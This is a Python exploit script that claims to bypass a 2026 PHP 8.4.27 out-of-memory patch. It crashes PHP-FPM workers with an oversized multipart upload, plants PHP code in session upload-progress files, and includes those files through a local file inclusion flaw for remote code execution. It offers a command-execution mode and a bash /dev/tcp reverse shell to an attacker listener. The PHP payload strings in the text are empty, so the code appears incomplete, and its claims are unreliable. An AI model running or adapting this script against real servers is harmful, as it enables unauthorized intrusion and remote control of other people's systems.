#!/usr/bin/env python3 """ Patch Bypass: RCE via RLIMIT_AS mmap() failure on PHP 8.4.27+ (patched) The PHP security patch (2026-10-21) replaces longjmp()-based OOM handling with: - Soft OOM: deferred to VM safe point (graceful shutdown) - Hard OOM: immediate _exit(70) when allocation fails during parsing However, this patch only intercepts OOM from PHP's memory_limit (zend_mm). When memory_limit=-1 (unlimited) and the OS enforces address space limits via RLIMIT_AS (setrlimit/ulimit -v/cgroup memory.max), mmap() fails during multipart field allocation. This failure goes through a DIFFERENT code path that the patch does NOT cover: 1. PHP has memory_limit=-1 → no PHP-level OOM possible 2. RLIMIT_AS (or cgroup memory limit) restricts process address space 3. During multipart parsing, mmap() fails when address space is exhausted 4. The failure triggers the OLD vulnerable code path (not the patched one) 5. Worker exits with code 1 (not the patched exit code 70) 6. Session file persists on disk with attacker-controlled PHP code 7. New worker spawns → LFI includes the poisoned session file → RCE This is relevant in production because: - Container environments (Docker, k8s) often set memory limits via cgroups - Shared hosting uses RLIMIT_AS to isolate tenants - Admins may set memory_limit=-1 trusting OS-level limits instead - The advisory does NOT mention this bypass path Requirements: - PHP-FPM with memory_limit=-1 (or very high) - OS-level memory limit (RLIMIT_AS, cgroup, Docker --memory) - session.upload_progress.enabled=1 (DEFAULT) - An LFI vector in the target application - Known or guessable session.save_path Tested: PHP 8.4.27 (patched) with RLIMIT_AS=128MB Usage: python3 rlimit_bypass_patched.py -t http://target/app.php --cmd 'id' python3 rlimit_bypass_patched.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444 """ import argparse import base64 import os import re import socket import sys import time from urllib.parse import urlparse SESSION_PATHS = [ "/tmp", "/tmp/php-sessions", "/var/lib/php/sessions", "/var/lib/php5/sessions", ] def tcp_connect(host, port, tls, timeout=120): sock = socket.create_connection((host, port), timeout=timeout) if tls: import ssl ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE sock = ctx.wrap_socket(sock, server_hostname=host) return sock def recv_all(sock, timeout=5): resp = b"" sock.settimeout(timeout) try: while True: d = sock.recv(8192) if not d: break resp += d except socket.timeout: pass return resp def body_of(resp): if b"\r\n\r\n" in resp: return resp.split(b"\r\n\r\n", 1)[1] return resp def build_oom_body(bnd, php_code, field_count=10000, field_size=8192): """Build multipart body designed to exhaust address space via mmap().""" body = b"" body += b"--" + bnd + b"\r\n" body += b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n' body += b"\r\n" + php_code + b"\r\n" body += b"--" + bnd + b"\r\n" body += b'Content-Disposition: form-data; name="file"; filename="oom.bin"\r\n' body += b"Content-Type: application/octet-stream\r\n\r\n" body += b"\x00" * 4096 + b"\r\n" for i in range(field_count): body += b"--" + bnd + b"\r\n" body += b'Content-Disposition: form-data; name="p' + f"{i:05d}".encode() + b'"\r\n' body += b"\r\n" + b"X" * field_size + b"\r\n" body += b"--" + bnd + b"--\r\n" return body def phase1_crash(host, port, tls, path, sid, php_code, field_count, field_size): """Phase 1: Send massive multipart to trigger mmap() failure and crash worker.""" bnd = b"----RLIMITRCE" body = build_oom_body(bnd, php_code, field_count, field_size) print(f" Body: {len(body)/1048576:.1f}MB ({field_count} fields x {field_size}B)") sock = tcp_connect(host, port, tls) sock.sendall( b"POST " + path.encode() + b" HTTP/1.1\r\n" b"Host: " + host.encode() + b"\r\n" b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n" b"Content-Length: " + str(len(body)).encode() + b"\r\n" b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n" b"Connection: close\r\n\r\n" ) try: sock.sendall(body) except (BrokenPipeError, ConnectionResetError): pass resp = b"" sock.settimeout(30) try: while True: d = sock.recv(8192) if not d: break resp += d except (socket.timeout, ConnectionResetError): pass sock.close() status = 0 try: status = int(resp.split(b" ")[1]) except (IndexError, ValueError): pass return status def phase2_lfi(host, port, tls, path, lfi_param, sid, session_paths): """Phase 2: Include poisoned session file via LFI after worker respawns.""" for sp in session_paths: sess_file = f"{sp}/sess_{sid}" lfi_url = f"{path}?{lfi_param}={sess_file}" try: sock = tcp_connect(host, port, tls, timeout=10) sock.sendall( b"GET " + lfi_url.encode() + b" HTTP/1.1\r\n" b"Host: " + host.encode() + b"\r\n" b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n" b"Connection: close\r\n\r\n" ) resp = recv_all(sock, timeout=5) sock.close() rbody = body_of(resp) if b"CVE2026:" in rbody: return rbody, sp except Exception: continue return None, None def run(args): p = urlparse(args.target) tls = p.scheme == "https" host = p.hostname or "127.0.0.1" port = p.port or (443 if tls else 80) path = p.path or "/" spaths = list(SESSION_PATHS) if args.session_path: spaths = [args.session_path] + [s for s in spaths if s != args.session_path] if args.trigger_only: php_code = b'' elif args.cmd: cmd_b64 = base64.b64encode(args.cmd.encode()).decode() php_code = f''.encode() elif args.lhost and args.lport: shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'" cmd_b64 = base64.b64encode(shell.encode()).decode() php_code = f''.encode() else: print("[!] Specify --cmd, --lhost/--lport, or --trigger-only") sys.exit(1) print("=" * 65) print(" PATCH BYPASS: RLIMIT_AS mmap() Failure RCE on PHP 8.4.27+") print(" memory_limit=-1 + RLIMIT_AS → mmap fails → old OOM path") print("=" * 65) print(f" Target : {args.target}") print(f" LFI param : {args.lfi_param}") print(f" Fields : {args.fields} x {args.field_size}B") if args.cmd: print(f" Command : {args.cmd}") elif args.lhost: print(f" Reverse sh : {args.lhost}:{args.lport}") print() for attempt in range(args.attempts): sid = os.urandom(16).hex() print(f"[*] Attempt {attempt+1}/{args.attempts} — SID: {sid}") print(f" Phase 1: Triggering mmap() failure via multipart flood...") status = phase1_crash(host, port, tls, path, sid, php_code, args.fields, args.field_size) print(f" HTTP {status} — worker crashed (mmap failure)") print(f" Waiting {args.respawn_wait}s for worker respawn...") time.sleep(args.respawn_wait) print(f" Phase 2: LFI include of poisoned session file...") rbody, found_path = phase2_lfi(host, port, tls, path, args.lfi_param, sid, spaths) if rbody is not None: text = rbody.decode(errors="replace") if args.trigger_only: m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", text) print(f"\n[+] Code execution confirmed!") if m: print(f" {m.group(1)}") elif args.cmd: m = re.search(r"CVE2026:(.*?):END", text, re.DOTALL) result = m.group(1).strip() if m else text[:500] print() print("[+] ═══════════════ RCE OUTPUT ═══════════════") print(result) print("[+] ══════════════════════════════════════════") else: print(f"\n[+] Payload sent — check {args.lhost}:{args.lport}") print() print(f"[+] Session path: {found_path}") print("[+] RCE achieved via RLIMIT_AS mmap() bypass!") print("[+] The 2026-10-21 patch does NOT handle mmap() failure path.") print("[+] Affects: containers with cgroup limits, shared hosting with") print("[+] RLIMIT_AS, any env where memory_limit=-1 + OS limits.") print("[+] Mitigation: session.upload_progress.enabled=0") return print(f" Session file not found or already cleaned") print() print("[!] All attempts failed.") print(" Possible causes:") print(" - Target has PHP memory_limit set (not -1) → use standard exploit") print(" - Target has no RLIMIT_AS/cgroup limit → mmap won't fail") print(" - Session save path not in search list → use --session-path") print(" - Worker respawn too slow → increase --respawn-wait") def main(): ap = argparse.ArgumentParser( description="Patch Bypass: RCE via RLIMIT_AS mmap() failure on PHP 8.4.27+", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" The PHP 8.4.27 patch only handles OOM from PHP's memory_limit (zend_mm). When memory_limit=-1 and RLIMIT_AS (or cgroup) limits address space, mmap() fails through a DIFFERENT path the patch doesn't cover. Preconditions: - Target uses memory_limit=-1 (trusting OS limits) - OS enforces RLIMIT_AS or cgroup memory limit - session.upload_progress.enabled=1 (default) The only effective mitigation is: session.upload_progress.enabled=0 Examples: %(prog)s -t http://target/app.php --cmd 'id' %(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444 %(prog)s -t http://target/app.php --trigger-only --session-path /var/lib/php/sessions %(prog)s -t http://target/app.php --cmd 'id' --fields 15000 --field-size 4096 """) ap.add_argument("-t", "--target", required=True, help="Target URL with LFI") ap.add_argument("--cmd", help="Command to execute") ap.add_argument("--lhost", help="Reverse shell listener IP") ap.add_argument("--lport", type=int, help="Reverse shell listener port") ap.add_argument("--trigger-only", action="store_true", help="Confirm vulnerability only") ap.add_argument("--lfi-param", default="page", help="LFI query parameter (default: page)") ap.add_argument("--session-path", help="session.save_path on target") ap.add_argument("--fields", type=int, default=10000, help="Number of multipart fields (default: 10000)") ap.add_argument("--field-size", type=int, default=8192, help="Size of each field value in bytes (default: 8192)") ap.add_argument("--respawn-wait", type=float, default=3.0, help="Seconds to wait for worker respawn (default: 3.0)") ap.add_argument("--attempts", type=int, default=3, help="Number of attempts (default: 3)") args = ap.parse_args() run(args) if __name__ == "__main__": main()